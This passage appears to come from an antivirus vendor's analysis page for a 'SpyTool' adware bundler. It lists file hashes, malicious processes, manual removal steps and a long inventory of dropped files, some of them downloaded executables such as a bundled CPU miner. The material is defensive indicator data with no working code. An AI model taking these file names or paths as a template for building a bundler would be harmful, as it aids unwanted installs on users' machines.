90871478e7b9765cccb884751bfafc7b	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\pdf.dll
4120c792ee30c922d95c5201cedade29	c:\Program Files\MyBrowser\MyBrowser\Application\mybrowser.exe
690f4b16c53bec409e4f465cfb4231a3	c:\Program Files\MyBrowser\MyBrowser\Application\utility.exe
e895efdd3b44b10da50e57bafc95b78c	c:\Program Files\gmsd_re_005010095\gamesdesktop_widget.exe
de8fc173a33b5a5fbaf29438e3f2558c	c:\Program Files\gmsd_re_005010095\gmsd_re_005010095.exe
2d677763c2675030c73647c5d1f6940d	c:\Program Files\gmsd_re_005010095\predm.exe
6ab1fdcb00d1df4a9359d012eaec579a	c:\Program Files\gmsd_re_005010095\unins000.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   taskkill.exe:1824
   taskkill.exe:844
   taskkill.exe:2040
   6895.exe:928
   nsjA.tmp:1028
   nsj20.tmp:1672
   amisid.exe:1116
   nsr4.tmp:1452
   upgmsd_re_005010095.exe:436
   nsr14.tmp:1568
   wmic.exe:1276
   nsc18.tmp:1336
   encrypt.exe:1052
   encrypt.exe:1484
   encrypt.exe:1972
   encrypt.exe:1512
   tasklist.exe:1256
   tasklist.exe:1536
   setup.exe:2036
   %original file name%.exe:396
   gmsd_re_005010095.exe:1336
   nst1D.tmp:1520
   nss2D.tmp:1436
   nss2D.tmp:372

2. Delete the original SpyTool file.
   
3. Delete or disinfect the following files created/modified by the SpyTool:

   %Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\inetc.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\checks.txt (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\md5dll.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\nsisos.dll (5 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn2A.tmp (5929 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\post_reply.htm (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\amisid.exe (1856 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\thankyou[1].php (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\registry.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\google_plus.ico (1921 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\ebay.ico (55 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\msn.ico (36 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\espn.ico (36 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\pinterest.ico (39 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\tumblr.ico (40 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\utility.exe (14988 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\espn.ico (1588 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\ikea.ico (2993 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\linkedin.ico (37 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\groupom.ico (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\tripadvisor.ico (1917 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\ebay.ico (1913 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\imdb.ico (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\setup.exe (37305 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\agoda.ico (1921 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\kayak.com.ico (1601 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\gizmodo.ico (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\msn.ico (1588 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\cnn.ico (45 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yandex.ico (1588 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\nytimes.ico (1921 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\gmail.ico (47 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ie.zip[1].001 (3985887 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\bing.ico (42 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\prefs (823 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\mail.ru.ico (1909 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\bbc.ico (35 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\etsy.ico (601 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\huffingtonpost.ico (49 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\ted.ico (57 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\weather_channel.ico (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\booking.com.ico (1601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\B82B3152-E8DD-4672-BD9-1E9973F4C5A3\B82B3152-E8DD-4672-BD9-1E9973F4C5A3.exe (14988 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\google_plus.ico (64 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\search.ico (57 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\tumblr.ico (1592 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\netflix.ico (51 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\netflix.ico (1909 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\priceline.ico (53 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\linkedin.ico (1592 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\bestbuy.ico (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\huffingtonpost.ico (1909 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yahoo_mail.ico (1913 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\twitter.ico (36 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\chrome.packed.7z (1308045 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yelp.ico (1597 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\walmart.ico (48 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\amazon.ico (601 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\google_news.ico (601 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\agoda.ico (61 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\target.ico (50 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\ted.ico (1913 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\gmail.ico (1601 bytes)
   %WinDir%\Tasks\MyBrowser.job (1966 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\9gag.ico (56 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\nba.ico (1601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\bbc.ico (1588 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_finance.ico (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\facebook.ico (3913 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\search.ico (1917 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\skype.ico (1597 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\youtube.ico (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\target.ico (1909 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\hotels.com.ico (1601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\theguardian.ico (1597 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\youtube.ico (3913 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\groupom.ico (2993 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_search.ico (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yahoo.ico (1592 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\google_news.ico (2993 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\imdb.ico (2993 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\google_translate.ico (38 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\cnn.ico (1601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\nfl.ico (1913 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\reddit.ico (60 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\mail.ru.ico (49 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\bing.ico (1597 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ie.zip[1].002 (3985887 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ie.zip[1].003 (3985887 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\forbes.ico (40 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ie.zip[1].004 (3985887 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ie.zip[1].005 (3985887 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yahoo_finance.ico (2993 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ipgeoapi[1] (40 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\google_translate.ico (1592 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\expedia.ico (61 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\wikipedia.ico (55 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\walmart.ico (1601 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\hotels.com.ico (47 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\icon.json (9 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\nba.ico (48 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\etsy.ico (3913 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\wikipedia.ico (1913 bytes)
   %WinDir%\Tasks\B82B3152-E8DD-4672-BD9-1E9973F4C5A3.job (1656 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\twitter.ico (1588 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\booking.com.ico (45 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\expedia.ico (1921 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\theguardian.ico (42 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\mail_live_msn.ico (38 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\skype.ico (44 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\kayak.com.ico (47 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_mail.ico (56 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\9gag.ico (1913 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\forbes.ico (1592 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\crbrw.zip (313192 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\gizmodo.ico (2993 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\yelp.ico (42 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\bestbuy.ico (3913 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo.ico (39 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\mail_live_msn.ico (1592 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\tripadvisor.ico (58 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\weather_channel.ico (5593 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\reddit.ico (1917 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\icon.json (21 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\ikea.ico (601 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\nfl.ico (56 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\facebook.ico (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\pinterest.ico (1592 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\yandex.ico (35 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\Icons\nytimes.ico (61 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yahoo_search.ico (5593 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\priceline.ico (1913 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\amazon.ico (2993 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\chrome.dat (31 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsh28.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr2E.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsh1E.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\cmmdWriter[1].exe (2696 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (45 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsq25.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\Validate[1].exe (4152 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsuF.tmp (11240 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\Bundle_CPUminer[1].exe (7288 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd35.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf12.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsj20.tmp (5952 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw2C.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi19.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr15.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn1F.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz11.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz10.tmp\inetc.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsb27.tmp (7288 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc18.tmp (11704 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc17.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Uninstall.exe (4152 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (90 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr33.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsm34.tmp (13784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\56xtF[1].exe (11704 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\smt[1].exe (13784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst21.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nss2D.tmp (365499 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\vos[1].htm (876 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nse23.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe (128293 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nso1C.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\36e0f22eacad857de2cd3b76aedc24a7[1].exe (5952 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst1D.tmp (128293 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw13.tmp (876 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw26.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr14.tmp (2696 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\setup_gmsd_re[1].exe (365499 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (75 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsjB.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nstC.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsm9.tmp\inetc.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsjA.tmp (7192 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr7.tmp (6720 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsm8.tmp (15 bytes)
   %Documents and Settings%\%current user%\Cookies\index.dat (1928 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@prof.youandmeandmeandyouhihi[1].txt (231 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@youandmeandmeandyouhihi[1].txt (182 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010095\upgmsd_re_005010095.cyl (428 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\binsischeck654.xml (5152 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\modern-wizard.bmp (26 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi39.tmp (28320 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\bitool.xxx (4152 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\Math.dll (2489 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\xml.dll (2005 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd38.tmp (108018 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\binsis142.xml (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\setup[1].exe (28320 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\Banner.dll (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\nsDialogs.dll (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\md5dll.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\BiTool[1].dll (4152 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\inetc.dll (20 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd1B.tmp (7695 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gamesdesktop_widget.exe (92316 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\predm.exe (1447 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gmsd_re_005010095.exe (31990 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\upgmsd_re_005010095.exe (24211 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\zh-CN.pak (187 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\icudtl.dat (76792 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs\MyBrowser\MyBrowser.lnk (1 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\metro_driver.dll (1765 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ar.pak (293 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\am.pak (302 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\de.pak (224 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\gu.pak (1705 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\zh-TW.pak (190 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\PepperFlash\manifest.json (2 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\nb.pak (206 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\nacl64.exe (12288 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\tr.pak (220 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ro.pak (228 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\sk.pak (229 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\nacl_irt_x86_64.nexe (20507 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\libexif.dll (303 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\chrome_elf.dll (125 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\lv.pak (225 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\sl.pak (211 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ml.pak (1826 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\pdf.dll (67091 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe (5873 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\sr.pak (1610 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\th.pak (1702 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Extensions\external_extensions.json (103 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\VisualElementsManifest.xml (392 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ko.pak (228 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\fi.pak (213 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\libegl.dll (204 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\te.pak (1761 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\kn.pak (1768 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\pt-PT.pak (222 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\chrome.7z (1161171 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\bn.pak (1731 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\uk.pak (1621 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\mr.pak (1708 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\wow_helper.exe (67 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\mybrowser.exe (3869 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\chrome_child.dll (261193 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\ffmpegsumo.dll (6337 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ms.pak (206 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\nl.pak (216 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\en-GB.pak (189 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\VisualElements\smalllogo.png (9 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\da.pak (206 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\delegate_execute.exe (12288 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ja.pak (266 bytes)
   %Program Files%\MyBrowser\MyBrowser\Application\master_preferences (814 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\lt.pak (221 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\fil.pak (228 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\MyBrowser.lnk (1 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\el.pak (1667 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\hu.pak (235 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\sv.pak (207 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\vi.pak (247 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\PepperFlash\pepflashplayer.dll (122658 bytes)
   %Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\es-419.pak (226 bytes)
